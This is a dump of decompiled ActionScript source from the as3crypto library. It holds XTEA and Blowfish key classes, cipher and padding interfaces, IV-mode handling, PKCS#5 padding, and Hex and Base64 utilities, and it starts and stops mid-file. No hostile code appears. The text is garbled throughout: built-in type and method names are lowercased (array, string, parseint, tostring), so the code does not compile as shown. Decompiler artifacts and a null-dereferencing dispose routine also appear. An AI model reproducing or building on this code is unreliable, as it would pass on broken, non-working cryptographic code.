                    _arg1[(_local4 + _local6)] = (_arg1[(_local4 + _local6)] ^ _local3[_local6]);

                    _local6++;

                };

                _local3.position = 0;

                _local3.writeBytes(_arg1, _local4, _local5);

                _local4 = (_local4 + blockSize);

            };

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;

    import com.hurlant.crypto.prng.*;

    import com.hurlant.util.*;



    public class XTeaKey implements ISymmetricKey {



        public const NUM_ROUNDS:uint = 64;



        private var k:array;



        public function XTeaKey(_arg1:ByteArray){

            _arg1.position = 0;

            k = [_arg1.readUnsignedInt(), _arg1.readUnsignedInt(), _arg1.readUnsignedInt(), _arg1.readUnsignedInt()];

        }

        public static function parseKey(_arg1:string):XTeaKey{

            var _local2:ByteArray;

            _local2 = new ByteArray();

            _local2.writeUnsignedInt(parseint(_arg1.substr(0, 8), 16));

            _local2.writeUnsignedInt(parseint(_arg1.substr(8, 8), 16));

            _local2.writeUnsignedInt(parseint(_arg1.substr(16, 8), 16));

            _local2.writeUnsignedInt(parseint(_arg1.substr(24, 8), 16));

            _local2.position = 0;

            return (new XTeaKey(_local2));

        }



        public function dispose():void{

            var _local1:random;

            var _local2:uint;

            _local1 = new random();

            _local2 = 0;

            while (_local2 < k.length) {

                k[_local2] = _local1.nextByte();

                delete k[_local2];

                _local2++;

            };

            k = null;

            Memory.gc();

        }

        public function encrypt(_arg1:ByteArray, _arg2:uint=0):void{

            var _local3:uint;

            var _local4:uint;

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            _arg1.position = _arg2;

            _local3 = _arg1.readUnsignedInt();

            _local4 = _arg1.readUnsignedInt();

            _local6 = 0;

            _local7 = 2654435769;

            _local5 = 0;

            while (_local5 < NUM_ROUNDS) {

                _local3 = (_local3 + ((((_local4 << 4) ^ (_local4 >> 5)) + _local4) ^ (_local6 + k[(_local6 & 3)])));

                _local6 = (_local6 + _local7);

                _local4 = (_local4 + ((((_local3 << 4) ^ (_local3 >> 5)) + _local3) ^ (_local6 + k[((_local6 >> 11) & 3)])));

                _local5++;

            };

            _arg1.position = (_arg1.position - 8);

            _arg1.writeUnsignedInt(_local3);

            _arg1.writeUnsignedInt(_local4);

        }

        public function decrypt(_arg1:ByteArray, _arg2:uint=0):void{

            var _local3:uint;

            var _local4:uint;

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            _arg1.position = _arg2;

            _local3 = _arg1.readUnsignedInt();

            _local4 = _arg1.readUnsignedInt();

            _local6 = 2654435769;

            _local7 = (_local6 * NUM_ROUNDS);

            _local5 = 0;

            while (_local5 < NUM_ROUNDS) {

                _local4 = (_local4 - ((((_local3 << 4) ^ (_local3 >> 5)) + _local3) ^ (_local7 + k[((_local7 >> 11) & 3)])));

                _local7 = (_local7 - _local6);

                _local3 = (_local3 - ((((_local4 << 4) ^ (_local4 >> 5)) + _local4) ^ (_local7 + k[(_local7 & 3)])));

                _local5++;

            };

            _arg1.position = (_arg1.position - 8);

            _arg1.writeUnsignedInt(_local3);

            _arg1.writeUnsignedInt(_local4);

        }

        public function tostring():string{

            return ("xtea");

        }

        public function getBlockSize():uint{

            return (8);

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;



    public interface ISymmetricKey {



        function encrypt(_arg1:ByteArray, _arg2:uint=0):void;

        function dispose():void;

        function getBlockSize():uint;

        function tostring():string;

        function decrypt(_arg1:ByteArray, _arg2:uint=0):void;



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;



    public interface IPad {



        function pad(_arg1:ByteArray):void;

        function unpad(_arg1:ByteArray):void;

        function setBlockSize(_arg1:uint):void;



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;

    import com.hurlant.crypto.prng.*;

    import com.hurlant.util.*;



    public class IVMode {



        protected var lastIV:ByteArray;

        protected var iv:ByteArray;

        protected var blockSize:uint;

        protected var padding:IPad;

        protected var prng:random;

        protected var key:ISymmetricKey;



        public function IVMode(_arg1:ISymmetricKey, _arg2:IPad=null){

            this.key = _arg1;

            blockSize = _arg1.getBlockSize();

            if (_arg2 == null){

                _arg2 = new PKCS5(blockSize);

            } else {

                _arg2.setBlockSize(blockSize);

            };

            this.padding = _arg2;

            prng = new random();

            iv = null;

            lastIV = new ByteArray();

        }

        public function set IV(_arg1:ByteArray):void{

            iv = _arg1;

            lastIV.length = 0;

            lastIV.writeBytes(iv);

        }

        protected function getIV4d():ByteArray{

            var _local1:ByteArray;

            _local1 = new ByteArray();

            if (iv){

                _local1.writeBytes(iv);

            } else {

                throw (new error("an IV must be set before calling decrypt()"));

            };

            return (_local1);

        }

        protected function getIV4e():ByteArray{

            var _local1:ByteArray;

            _local1 = new ByteArray();

            if (iv){

                _local1.writeBytes(iv);

            } else {

                prng.nextBytes(_local1, blockSize);

            };

            lastIV.length = 0;

            lastIV.writeBytes(_local1);

            return (_local1);

        }

        public function get IV():ByteArray{

            return (lastIV);

        }

        public function dispose():void{

            var _local1:uint;

            if (iv != null){

                _local1 = 0;

                while (_local1 < iv.length) {

                    iv[_local1] = prng.nextByte();

                    _local1++;

                };

                iv.length = 0;

                iv = null;

            };

            if (lastIV != null){

                _local1 = 0;

                while (_local1 < iv.length) {

                    lastIV[_local1] = prng.nextByte();

                    _local1++;

                };

                lastIV.length = 0;

                lastIV = null;

            };

            key.dispose();

            key = null;

            padding = null;

            prng.dispose();

            prng = null;

            Memory.gc();

        }

        public function getBlockSize():uint{

            return (key.getBlockSize());

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {



    public interface IMode extends ICipher {



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;



    public interface ICipher {



        function encrypt(_arg1:ByteArray):void;

        function dispose():void;

        function getBlockSize():uint;

        function tostring():string;

        function decrypt(_arg1:ByteArray):void;



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;



    public class PKCS5 implements IPad {



        private var blockSize:uint;



        public function PKCS5(_arg1:uint=0){

            this.blockSize = _arg1;

        }

        public function unpad(_arg1:ByteArray):void{

            var _local2:uint;

            var _local3:uint;

            var _local4:uint;

            _local2 = (_arg1.length % blockSize);

            if (_local2 != 0){

                throw (new error("PKCS#5::unpad: ByteArray.length isn't a multiple of the blockSize"));

            };

            _local2 = _arg1[(_arg1.length - 1)];

            _local3 = _local2;

            while (_local3 > 0) {

                _local4 = _arg1[(_arg1.length - 1)];

                _arg1.length--;

                if (_local2 != _local4){

                    throw (new error((((("PKCS#5:unpad: Invalid padding value. expected [" + _local2) + "], found [") + _local4) + "]")));

                };

                _local3--;

            };

        }

        public function pad(_arg1:ByteArray):void{

            var _local2:uint;

            var _local3:uint;

            _local2 = (blockSize - (_arg1.length % blockSize));

            _local3 = 0;

            while (_local3 < _local2) {

                _arg1[_arg1.length] = _local2;

                _local3++;

            };

        }

        public function setBlockSize(_arg1:uint):void{

            blockSize = _arg1;

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {



    public interface IStreamCipher extends ICipher {



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;

    import com.hurlant.util.*;



    public class BlowFishKey implements ISymmetricKey {



        private static const KP:array = [608135816, 2242054355, 320440878, 57701188, 2752067618, 698298832, 137296536, 3964562569, 1160258022, 953160567, 3193202383, 887688300, 3232508343, 3380367581, 1065670069, 3041331479, 2450970073, 2306472731];

        private static const KS0:array = [3509652390, 2564797868, 805139163, 3491422135, 3101798381, 1780907670, 3128725573, 4046225305, 614570311, 3012652279, 134345442, 2240740374, 1667834072, 1901547113, 2757295779, 4103290238, 227898511, 1921955416, 1904987480, 2182433518, 2069144605, 3260701109, 2620446009, 720527379, 3318853667, 677414384, 3393288472, 3101374703, 2390351024, 1614419982, 1822297739, 2954791486, 3608508353, 3174124327, 2024746970, 1432378464, 3864339955, 2857741204, 1464375394, 1676153920, 1439316330, 715854006, 3033291828, 289532110, 2706671279, 2087905683, 3018724369, 1668267050, 732546397, 1947742710, 3462151702, 2609353502, 2950085171, 1814351708, 2050118529, 680887927, 999245976, 1800124847, 3300911131, 1713906067, 1641548236, 4213287313, 1216130144, 1575780402, 4018429277, 3917837745, 3693486850, 3949271944, 596196993, 3549867205, 258830323, 2213823033, 772490370, 2760122372, 1774776394, 2652871518, 566650946, 4142492826, 1728879713, 2882767088, 1783734482, 3629395816, 2517608232, 2874225571, 1861159788, 326777828, 3124490320, 2130389656, 2716951837, 967770486, 1724537150, 2185432712, 2364442137, 1164943284, 2105845187, 998989502, 3765401048, 2244026483, 1075463327, 1455516326, 1322494562, 910128902, 469688178, 1117454909, 936433444, 3490320968, 3675253459, 1240580251, 122909385, 2157517691, 634681816, 4142456567, 3825094682, 3061402683, 2540495037, 79693498, 3249098678, 1084186820, 1583128258, 426386531, 1761308591, 1047286709, 322548459, 995290223, 1845252383, 2603652396, 3431023940, 2942221577, 3202600964, 3727903485, 1712269319, 422464435, 3234572375, 1170764815, 3523960633, 3117677531, 1434042557, 442511882, 0xD6A100C6, 1076654713, 1738483198, 4213154764, 2393238008, 3677496056, 1014306527, 4251020053, 793779912, 2902807211, 842905082, 4246964064, 1395751752, 0x3E00DF82, 2656851899, 3396308128, 445077038, 3742853595, 3577915638, 679411651, 2892444358, 2354009459, 1767581616, 3150600392, 3791627101, 3102740896, 284835224, 4246832056, 1258075500, 768725851, 2589189241, 3069724005, 3532540348, 1274779536, 3789419226, 2764799539, 1660621633, 3471099624, 4011903706, 913787905, 3497959166, 737222580, 2514213453, 2928710040, 3937242737, 1804850592, 3499020752, 2949064160, 2386320175, 2390070455, 2415321851, 4061277028, 0x8888B812, 2416832540, 1336762016, 1754252060, 3520065937, 3014181293, 791618072, 3188594551, 3933548030, 2332172193, 3852520463, 3043980520, 413987798, 3465142937, 3030929376, 4245938359, 2093235073, 3534596313, 375366246, 2157278981, 2479649556, 555357303, 3870105701, 2008414854, 3344188149, 4221384143, 3956125452, 2067696032, 3594591187, 2921233993, 2428461, 544322398, 0x226800BB, 1471733935, 610547355, 4027169054, 1432588573, 1507829418, 2025931657, 3646575487, 545086370, 48609733, 2200306550, 1653985193, 298326376, 1316178497, 3007786442, 2064951626, 0x1B510052, 2589141269, 3591329599, 3164325604, 727753846, 0x81E67400, 146436021, 1461446943, 4069977195, 705550613, 3059967265, 3887724982, 4281599278, 3313849956, 1404054877, 2845806497, 146425753, 1854211946];

        private static const KS1:array = [1266315497, 3048417604, 3681880366, 3289982499, 2909710000, 1235738493, 2632868024, 2414719590, 3970600049, 1771706367, 1449415276, 3266420449, 422970021, 1963543593, 2690192192, 3826793022, 1062508698, 1531092325, 1804592342, 2583117782, 2714934279, 4024971509, 1294809318, 4028980673, 1289560198, 2221992742, 1669523910, 35572830, 157838143, 1052438473, 1016535060, 1802137761, 1753167236, 1386275462, 3080475397, 2857371447, 1040679964, 2145300060, 2390574316, 1461121720, 2956646967, 4031777805, 4028374788, 33600511, 2920084762, 1018524850, 629373528, 3691585981, 3515945977, 2091462646, 2486323059, 586499841, 988145025, 935516892, 3367335476, 2599673255, 2839830854, 265290510, 3972581182, 2759138881, 3795373465, 1005194799, 847297441, 406762289, 1314163512, 1332590856, 1866599683, 4127851711, 750260880, 613907577, 1450815602, 3165620655, 3734664991, 3650291728, 3012275730, 3704569646, 1427272223, 778793252, 1343938022, 2676280711, 2052605720, 1946737175, 3164576444, 3914038668, 3967478842, 3682934266, 1661551462, 3294938066, 4011595847, 840292616, 3712170807, 616741398, 312560963, 711312465, 0x50940002, 322626781, 1910503582, 271666773, 2175563734, 1594956187, 70604529, 3617834859, 1007753275, 1495573769, 4069517037, 2549218298, 2663038764, 504708206, 2263041392, 3941167025, 2249088522, 1514023603, 1998579484, 1312622330, 694541497, 2582060303, 2151582166, 1382467621, 776784248, 2618340202, 3323268794, 2497899128, 2784771155, 503983604, 4076293799, 907881277, 423175695, 432175456, 1378068232, 4145222326, 3954048622, 3938656102, 3820766613, 2793130115, 2977904593, 26017576, 3274890735, 3194772133, 1700274565, 1756076034, 4006520079, 3677328699, 720338349, 1533947780, 354530856, 688349552, 3973924725, 1637815568, 332179504, 3949051286, 53804574, 2852348879, 3044236432, 1282449977, 3583942155, 3416972820, 4006381244, 1617046695, 2628476075, 3002303598, 1686838959, 431878346, 2686675385, 1700445008, 1080580658, 1009431731, 832498133, 3223435511, 2605976345, 2271191193, 2516031870, 1648197032, 4164389018, 2548247927, 300782431, 375919233, 238389289, 3353747414, 2531188641, 2019080857, 1475708069, 455242339, 2609103871, 448939670, 3451063019, 1395535956, 2413381860, 1841049896, 1491858159, 885456874, 4264095073, 4001119347, 1565136089, 3898914787, 1108368660, 540939232, 1173283510, 2745871338, 3681308437, 4207628240, 3343053890, 4016749493, 1699691293, 1103962373, 3625875870, 2256883143, 3830138730, 1031889488, 3479347698, 1535977030, 4236805024, 3251091107, 2132092099, 1774941330, 1199868427, 1452454533, 157007616, 2904115357, 342012276, 0x23820E00, 1480756522, 206960106, 497939518, 591360097, 863170706, 2375253569, 3596610801, 1814182875, 2094937945, 3421402208, 1082520231, 3463918190, 2785509508, 435703966, 3908032597, 1641649973, 2842273706, 3305899714, 1510255612, 2148256476, 2655287854, 3276092548, 4258621189, 236887753, 3681803219, 274041037, 1734335097, 3815195456, 3317970021, 1899903192, 1026095262, 4050517792, 356393447, 2410691914, 3873677099, 3682840055];

        private static const KS3:array = [976866871, 3556439503, 2881648439, 1522871579, 1555064734, 1336096578, 3548522304, 2579274686, 3574697629, 3205460757, 3593280638, 0xC700C47B, 3079412587, 564236357, 2993598910, 1781952180, 1464380207, 3163844217, 3332601554, 1699332808, 1393555694, 1183702653, 3581086237, 1288719814, 691649499, 2847557200, 2895455976, 3193889540, 2717570544, 1781354906, 1676643554, 2592534050, 3230253752, 1126444790, 2770207658, 2633158820, 2210423226, 2615765581, 2414155088, 3127139286, 673620729, 2805611233, 1269405062, 4015350505, 3341807571, 4149409754, 1057255273, 2012875353, 2162469141, 2276492801, 2601117357, 993977747, 3918593370, 2654263191, 753973209, 36408145, 2530585658, 25011837, 3520020182, 2088578344, 530523599, 2918365339, 1524020338, 1518925132, 3760827505, 3759777254, 1202760957, 3985898139, 3906192525, 674977740, 4174734889, 2031300136, 2019492241, 3983892565, 4153806404, 3822280332, 352677332, 2297720250, 60907813, 90501309, 3286998549, 1016092578, 2535922412, 2839152426, 457141659, 509813237, 4120667899, 652014361, 1966332200, 2975202805, 55981186, 2327461051, 676427537, 3255491064, 2882294119, 3433927263, 1307055953, 942726286, 933058658, 2468411793, 3933900994, 4215176142, 1361170020, 2001714738, 2830558078, 3274259782, 1222529897, 1679025792, 2729314320, 3714953764, 1770335741, 151462246, 3013232138, 1682292957, 1483529935, 471910574, 1539241949, 458788160, 3436315007, 1807016891, 3718408830, 978976581, 1043663428, 3165965781, 1927990952, 4200891579, 2372276910, 3208408903, 3533431907, 1412390302, 2931980059, 4132332400, 1947078029, 3881505623, 4168226417, 2941484381, 1077988104, 1320477388, 886195818, 18198404, 3786409000, 2509781533, 112762804, 3463356488, 1866414978, 891333506, 18488651, 661792760, 1628790961, 3885187036, 3141171499, 876946877, 2693282273, 1372485963, 791857591, 2686433993, 3759982718, 3167212022, 3472953795, 2716379847, 445679433, 3561995674, 3504004811, 3574258232, 54117162, 3331405415, 2381918588, 3769707343, 4154350007, 1140177722, 4074052095, 668550556, 3214352940, 367459370, 261225585, 2610173221, 4209349473, 3468074219, 3265815641, 314222801, 3066103646, 3808782860, 282218597, 3406013506, 3773591054, 379116347, 1285071038, 846784868, 2669647154, 3771962079, 3550491691, 2305946142, 453669953, 1268987020, 3317592352, 3279303384, 3744833421, 2610507566, 3859509063, 266596637, 3847019092, 517658769, 3462560207, 3443424879, 370717030, 4247526661, 2224018117, 4143653529, 4112773975, 2788324899, 2477274417, 1456262402, 2901442914, 1517677493, 1846949527, 2295493580, 3734397586, 2176403920, 1280348187, 1908823572, 3871786941, 846861322, 1172426758, 3287448474, 3383383037, 0x62A80F00, 3139813346, 901632758, 1897031941, 2986607138, 3066810236, 3447102507, 1393639104, 373351379, 950779232, 625454576, 3124240540, 4148612726, 2007998917, 544563296, 2244738638, 2330496472, 2058025392, 1291430526, 424198748, 50039436, 29584100, 3605783033, 2429876329, 2791104160, 1057563949, 3255363231, 3075367218, 3463963227, 1469046755, 985887462];

        private static const ROUNDS:uint = 16;

        private static const KS2:array = [3913112168, 2491498743, 4132185628, 2489919796, 1091903735, 1979897079, 3170134830, 0xD4A20068, 3557303409, 857797738, 1136121015, 0x500061AF, 507115054, 2535736646, 337727348, 3213592640, 1301675037, 2528481711, 1895095763, 1721773893, 3216771564, 62756741, 2142006736, 835421444, 2531993523, 1442658625, 3659876326, 2882144922, 676362277, 1392781812, 170690266, 3921047035, 1759253602, 0xD7486900, 1745797284, 664899054, 1329594018, 3901205900, 3045908486, 2062866102, 2865634940, 3543621612, 3464012697, 1080764994, 553557557, 3656615353, 3996768171, 991055499, 499776247, 1265440854, 648242737, 3940784050, 980351604, 3713745714, 1749149687, 3396870395, 4211799374, 3640570775, 1161844396, 3125318951, 1431517754, 545492359, 4268468663, 3499529547, 1437099964, 2702547544, 3433638243, 2581715763, 2787789398, 1060185593, 1593081372, 2418618748, 4260947970, 69676912, 2159744348, 86519011, 2512459080, 3838209314, 1220612927, 3339683548, 133810670, 1090789135, 1078426020, 1569222167, 845107691, 3583754449, 4072456591, 1091646820, 628848692, 1613405280, 3757631651, 526609435, 236106946, 48312990, 2942717905, 3402727701, 1797494240, 859738849, 992217954, 4005476642, 2243076622, 3870952857, 3732016268, 765654824, 3490871365, 2511836413, 1685915746, 3888969200, 1414112111, 2273134842, 3281911079, 4080962846, 172450625, 2569994100, 980381355, 4109958455, 2819808352, 2716589560, 2568741196, 3681446669, 3329971472, 1835478071, 660984891, 3704678404, 4045999559, 0xCC00FFA3, 3040415634, 1762651403, 1719377915, 3470491036, 2693910283, 3642056355, 3138596744, 1364962596, 2073328063, 1983633131, 926494387, 3423689081, 2150032023, 4096667949, 1749200295, 3328846651, 309677260, 2016342300, 1779581495, 3079819751, 111262694, 1274766160, 443224088, 298511866, 1025883608, 3806446537, 1145181785, 168956806, 3641502830, 3584813610, 1689216846, 3666258015, 3200248200, 1692713982, 2646376535, 4042768518, 1618508792, 1610833997, 3523052358, 4130873264, 2001055236, 3610705100, 2202168115, 4028541809, 2961195399, 0x3C005E5F, 2006996926, 3186142756, 1430667929, 3210227297, 1314452623, 4074634658, 4101304120, 2273951170, 1399257539, 3367210612, 3027628629, 1190975929, 2062231137, 2333990788, 2221543033, 2438960610, 1181637006, 548689776, 2362791313, 3372408396, 3104550113, 3145860560, 296247880, 1970579870, 3078560182, 3769228297, 1714227617, 3291629107, 3898220290, 166772364, 1251581989, 493813264, 448347421, 195405023, 2709975567, 677966185, 3703036547, 1463355134, 2715995803, 1338867538, 1343315457, 2802222074, 2684532164, 233230375, 2599980071, 2000651841, 3277868038, 1638401717, 4028070440, 3237316320, 6314154, 819756386, 300326615, 590932579, 1405279636, 3267499572, 3150704214, 2428286686, 3959192993, 3461946742, 1862657033, 1266418056, 963775037, 2089974820, 2263052895, 1917689273, 448879540, 3550394620, 3981727096, 150775221, 3627908307, 1303187396, 508620638, 2975983352, 2726630617, 1817252668, 1876281319, 1457606340, 908771278, 3720792119, 3617206836, 2455994898, 1729034894, 0x406000E0];

        private static const BLOCK_SIZE:uint = 8;

        private static const P_SZ:uint = (ROUNDS + 2);

        private static const SBOX_SK:uint = 0x0100;



        private var S3:array;

        private var S2:array;

        private var P:array;

        private var key:ByteArray = null;

        private var S0:array;

        private var S1:array;



        public function BlowFishKey(_arg1:ByteArray){

            key = null;

            super();

            this.key = _arg1;

            setKey(_arg1);

        }

        private function F(_arg1:uint):uint{

            return ((((S0[(_arg1 >>> 24)] + S1[((_arg1 >>> 16) & 0xFF)]) ^ S2[((_arg1 >>> 8) & 0xFF)]) + S3[(_arg1 & 0xFF)]));

        }

        private function BytesTo32bits(_arg1:ByteArray, _arg2:uint):uint{

            return ((((((_arg1[_arg2] & 0xFF) << 24) | ((_arg1[(_arg2 + 1)] & 0xFF) << 16)) | ((_arg1[(_arg2 + 2)] & 0xFF) << 8)) | (_arg1[(_arg2 + 3)] & 0xFF)));

        }

        public function decrypt(_arg1:ByteArray, _arg2:uint=0):void{

            decryptBlock(_arg1, _arg2, _arg1, _arg2);

        }

        private function decryptBlock(_arg1:ByteArray, _arg2:uint, _arg3:ByteArray, _arg4:uint):void{

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            _local5 = BytesTo32bits(_arg1, _arg2);

            _local6 = BytesTo32bits(_arg1, (_arg2 + 4));

            _local5 = (_local5 ^ P[(ROUNDS + 1)]);

            _local7 = ROUNDS;

            while (_local7 > 0) {

                _local6 = (_local6 ^ (F(_local5) ^ P[_local7]));

                _local5 = (_local5 ^ (F(_local6) ^ P[(_local7 - 1)]));

                _local7 = (_local7 - 2);

            };

            _local6 = (_local6 ^ P[0]);

            Bits32ToBytes(_local6, _arg3, _arg4);

            Bits32ToBytes(_local5, _arg3, (_arg4 + 4));

        }

        private function setKey(_arg1:ByteArray):void{

            var _local2:uint;

            var _local3:uint;

            var _local4:uint;

            var _local5:uint;

            var _local6:uint;

            S0 = KS0.concat();

            S1 = KS1.concat();

            S2 = KS2.concat();

            S3 = KS3.concat();

            P = KP.concat();

            _local2 = _arg1.length;

            _local3 = 0;

            _local4 = 0;

            while (_local4 < P_SZ) {

                _local5 = 0;

                _local6 = 0;

                while (_local6 < 4) {

                    var _temp1 = _local3;

                    _local3 = (_local3 + 1);

                    _local5 = ((_local5 << 8) | (_arg1[_temp1] & 0xFF));

                    if (_local3 >= _local2){

                        _local3 = 0;

                    };

                    _local6++;

                };

                P[_local4] = (P[_local4] ^ _local5);

                _local4++;

            };

            processTable(0, 0, P);

            processTable(P[(P_SZ - 2)], P[(P_SZ - 1)], S0);

            processTable(S0[(SBOX_SK - 2)], S0[(SBOX_SK - 1)], S1);

            processTable(S1[(SBOX_SK - 2)], S1[(SBOX_SK - 1)], S2);

            processTable(S2[(SBOX_SK - 2)], S2[(SBOX_SK - 1)], S3);

        }

        public function dispose():void{

            var _local1:uint;

            _local1 = 0;

            _local1 = 0;

            while (_local1 < S0.length) {

                S0[_local1] = 0;

                _local1++;

            };

            _local1 = 0;

            while (_local1 < S1.length) {

                S1[_local1] = 0;

                _local1++;

            };

            _local1 = 0;

            while (_local1 < S2.length) {

                S2[_local1] = 0;

                _local1++;

            };

            _local1 = 0;

            while (_local1 < S3.length) {

                S3[_local1] = 0;

                _local1++;

            };

            _local1 = 0;

            while (_local1 < P.length) {

                P[_local1] = 0;

                _local1++;

            };

            S0 = null;

            S1 = null;

            S2 = null;

            S3 = null;

            P = null;

            _local1 = 0;

            while (_local1 < key.length) {

                key[_local1] = 0;

                _local1++;

            };

            key.length = 0;

            key = null;

            Memory.gc();

        }

        private function encryptBlock(_arg1:ByteArray, _arg2:uint, _arg3:ByteArray, _arg4:uint):void{

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            _local5 = BytesTo32bits(_arg1, _arg2);

            _local6 = BytesTo32bits(_arg1, (_arg2 + 4));

            _local5 = (_local5 ^ P[0]);

            _local7 = 1;

            while (_local7 < ROUNDS) {

                _local6 = (_local6 ^ (F(_local5) ^ P[_local7]));

                _local5 = (_local5 ^ (F(_local6) ^ P[(_local7 + 1)]));

                _local7 = (_local7 + 2);

            };

            _local6 = (_local6 ^ P[(ROUNDS + 1)]);

            Bits32ToBytes(_local6, _arg3, _arg4);

            Bits32ToBytes(_local5, _arg3, (_arg4 + 4));

        }

        public function encrypt(_arg1:ByteArray, _arg2:uint=0):void{

            encryptBlock(_arg1, _arg2, _arg1, _arg2);

        }

        private function Bits32ToBytes(_arg1:uint, _arg2:ByteArray, _arg3:uint):void{

            _arg2[(_arg3 + 3)] = _arg1;

            _arg2[(_arg3 + 2)] = (_arg1 >> 8);

            _arg2[(_arg3 + 1)] = (_arg1 >> 16);

            _arg2[_arg3] = (_arg1 >> 24);

        }

        private function processTable(_arg1:uint, _arg2:uint, _arg3:array):void{

            var _local4:uint;

            var _local5:uint;

            var _local6:uint;

            _local4 = _arg3.length;

            _local5 = 0;

            while (_local5 < _local4) {

                _arg1 = (_arg1 ^ P[0]);

                _local6 = 1;

                while (_local6 < ROUNDS) {

                    _arg2 = (_arg2 ^ (F(_arg1) ^ P[_local6]));

                    _arg1 = (_arg1 ^ (F(_arg2) ^ P[(_local6 + 1)]));

                    _local6 = (_local6 + 2);

                };

                _arg2 = (_arg2 ^ P[(ROUNDS + 1)]);

                _arg3[_local5] = _arg2;

                _arg3[(_local5 + 1)] = _arg1;

                _arg2 = _arg1;

                _arg1 = _arg3[_local5];

                _local5 = (_local5 + 2);

            };

        }

        public function tostring():string{

            return ("blowfish");

        }

        public function getBlockSize():uint{

            return (BLOCK_SIZE);

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.util {

    import flash.utils.*;



    public class Hex {



        public static function fromString(_arg1:string, _arg2:boolean=false):string{

            var _local3:ByteArray;

            _local3 = new ByteArray();

            _local3.writeUTFBytes(_arg1);

            return (fromArray(_local3, _arg2));

        }

        public static function tostring(_arg1:string):string{

            var _local2:ByteArray;

            _local2 = toArray(_arg1);

            return (_local2.readUTFBytes(_local2.length));

        }

        public static function toArray(_arg1:string):ByteArray{

            var _local2:ByteArray;

            var _local3:uint;

            _arg1 = _arg1.replace(/\s|:/gm, "");

            _local2 = new ByteArray();

            if ((_arg1.length & (1 == 1))){

                _arg1 = ("0" + _arg1);

            };

            _local3 = 0;

            while (_local3 < _arg1.length) {

                _local2[(_local3 / 2)] = parseint(_arg1.substr(_local3, 2), 16);

                _local3 = (_local3 + 2);

            };

            return (_local2);

        }

        public static function fromArray(_arg1:ByteArray, _arg2:boolean=false):string{

            var _local3:string;

            var _local4:uint;

            _local3 = "";

            _local4 = 0;

            while (_local4 < _arg1.length) {

                _local3 = (_local3 + ("0" + _arg1[_local4].tostring(16)).substr(-2, 2));

                if (_arg2){

                    if (_local4 < (_arg1.length - 1)){

                        _local3 = (_local3 + ":");

                    };

                };

                _local4++;

            };

            return (_local3);

        }



    }

}//package com.hurlant.util

&#65279;package com.hurlant.util {

    import flash.system.*;

    import flash.net.*;



    public class Memory {



        public static function gc():void{

            try {

                new localconnection().connect("foo");

                new localconnection().connect("foo");

            } catch(e) {

            };

        }

        public static function get used():uint{

            return (system.totalMemory);

        }



    }

}//package com.hurlant.util

&#65279;package com.hurlant.util {

    import flash.utils.*;



    public class Base64 {



        public static const version:string = "1.0.0";

        private static const BASE64_CHARS:string = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";



        public function Base64(){

            throw (new error("Base64 class is static container only"));

        }

        public static function encode(_arg1:string):string{

            var _local2:ByteArray;

            _local2 = new ByteArray();

            _local2.writeUTFBytes(_arg1);

            return (encodeByteArray(_local2));

        }

        public static function encodeByteArray(_arg1:ByteArray):string{

            var _local2:string;

            var _local3:array;

            var _local4:array;

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            _local2 = "";

            _local4 = new array(4);

            _arg1.position = 0;

            while (_arg1.bytesAvailable > 0) {

                _local3 = new array();

                _local5 = 0;

                while ((((_local5 < 3)) && ((_arg1.bytesAvailable > 0)))) {

                    _local3[_local5] = _arg1.readUnsignedByte();

                    _local5++;

                };

                _local4[0] = ((_local3[0] & 252) >> 2);

                _local4[1] = (((_local3[0] & 3) << 4) | (_local3[1] >> 4));

                _local4[2] = (((_local3[1] & 15) << 2) | (_local3[2] >> 6));

                _local4[3] = (_local3[2] & 63);

                _local6 = _local3.length;

                while (_local6 < 3) {

                    _local4[(_local6 + 1)] = 64;

                    _local6++;

                };

                _local7 = 0;

                while (_local7 < _local4.length) {

                    _local2 = (_local2 + BASE64_CHARS.charat(_local4[_local7]));

                    _local7++;

                };

            };

            return (_local2);

        }

        public static function decode(_arg1:string):string{

            var _local2:ByteArray;

            _local2 = decodeToByteArray(_arg1);

            return (_local2.readUTFBytes(_local2.length));

        }

        public static function decodeToByteArray(_arg1:string):ByteArray{

            var _local2:ByteArray;

            var _local3:array;

            var _local4:array;

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            _local2 = new ByteArray();

            _local3 = new array(4);

            _local4 = new array(3);

            _local5 = 0;

            while (_local5 < _arg1.length) {

                _local6 = 0;

                while ((((_local6 < 4)) && (((_local5 + _local6) < _arg1.length)))) {

                    _local3[_local6] = BASE64_CHARS.indexof(_arg1.charat((_local5 + _local6)));

                    _local6++;

                };

                _local4[0] = ((_local3[0] << 2) + ((_local3[1] & 48) >> 4));

                _local4[1] = (((_local3[1] & 15) << 4) + ((_local3[2] & 60) >> 2));

                _local4[2] = (((_local3[2] & 3) << 6) + _local3[3]);

                _local7 = 0;

                while (_local7 < _local4.length) {

                    if (_local3[(_local7 + 1)] == 64){

                        break;

                    };

                    _local2.writeByte(_local4[_local7]);

                    _local7++;

                };

                _local5 = (_local5 + 4);

            };

            _local2.position = 0;

            return (_local2);

        }



    }

}//package com.hurlant.util

&#65279;package com.hurlant.math {

    import com.hurlant.math.*;



    interface IReduction {



        function convert(_arg1:BigInteger):BigInteger;

        function revert(_arg1:BigInteger):BigInteger;

        function reduce(_arg1:BigInteger):void;

        function sqrTo(_arg1:BigInteger, _arg2:BigInteger):void;

